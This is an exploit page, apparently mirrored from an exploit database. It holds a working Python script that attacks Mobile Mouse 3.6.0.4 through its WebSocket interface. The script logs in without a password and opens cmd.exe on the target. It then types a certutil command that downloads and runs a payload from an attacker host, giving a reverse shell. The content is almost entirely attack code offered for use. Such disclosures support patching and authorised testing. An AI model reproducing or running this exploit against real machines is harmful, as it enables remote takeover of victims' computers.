Share
## https://sploitus.com/exploit?id=PACKETSTORM:201226
# Exploit Title: Mobile Mouse 3.6.0.4 WebSocket Remote code execution
# Date: 06/17/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mobilemouse.com/
# Software Link: https://www.mobilemouse.com/downloads/setup.exe
# Version: 3.6.0.4
# Tested on: Windows 10 (Build 19044)
'''
Mobile Mouse 3.6.0.4 contains a critical remote code execution
vulnerability through its WebSocket interface.
'''
#!/usr/bin/env python3
import asyncio
import websockets
import uuid
from time import sleep
import sys
target_ip = "192.168.8.105"
port = 35913 # default port
uri = f"ws://{target_ip}:{port}"
lhost = "192.168.8.100"
payload = "shell.exe"
EOR_CHAR = '\x1e'
EOF_CHAR = '\x04'
async def exploit():
async with websockets.connect(uri) as ws:
print("[+] WebSocket connected")
field1 = "" # password if known
field2_guid = str(uuid.uuid4()).upper()
field3_device_type = "Desktop"
field4_version1 = "2"
field5_version2 = "2"
field6_version3_key = "{length=32,bytes=0x" + "00" * 32 + "}"
connect_message = (
f"CONNECT{EOR_CHAR}"
f"{field1}{EOR_CHAR}"
f"{field2_guid}{EOR_CHAR}"
f"{field3_device_type}{EOR_CHAR}"
f"{field4_version1}{EOR_CHAR}"
f"{field5_version2}{EOR_CHAR}"
f"{field6_version3_key}{EOF_CHAR}"
)
await ws.send(connect_message)
print(f"[>] Connecting ...")
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
decoded = response.decode("utf-8", errors="ignore") if
isinstance(response, bytes) else response
decoded = decoded.strip()
if "Welcome" in decoded:
print("[+] CONNECT accepted by server.")
elif "Please enter a password" in decoded:
print("[!] Server requires a password. Aborting.")
sys.exit(0)
else:
print(f"[!] Unexpected response: {repr(decoded)}")
except Exception as e:
print(f"[!] No response after CONNECT: {e}")
sys.exit(1)
await asyncio.sleep(3)
cmd = "SENDPROGRAMACTION\x1eRUN\x1ecmd.exe\x04"
await ws.send(cmd)
sleep(3)
command_payload = f"KEY\x1e116\x1ecertutil -urlcache -split -f
http://{lhost}/{payload} C:\\Windows\\Temp\\payload.exe &
C:\\Windows\\Temp\\payload.exe\x1e\x04"
await ws.send(command_payload)
print("[+] reverse shell payload sent")
execute = "KEY\x1e-1\x1eENTER\x1e\x04"
await ws.send(execute)
print("[+] Payload executed, check your listener!")
asyncio.run(exploit())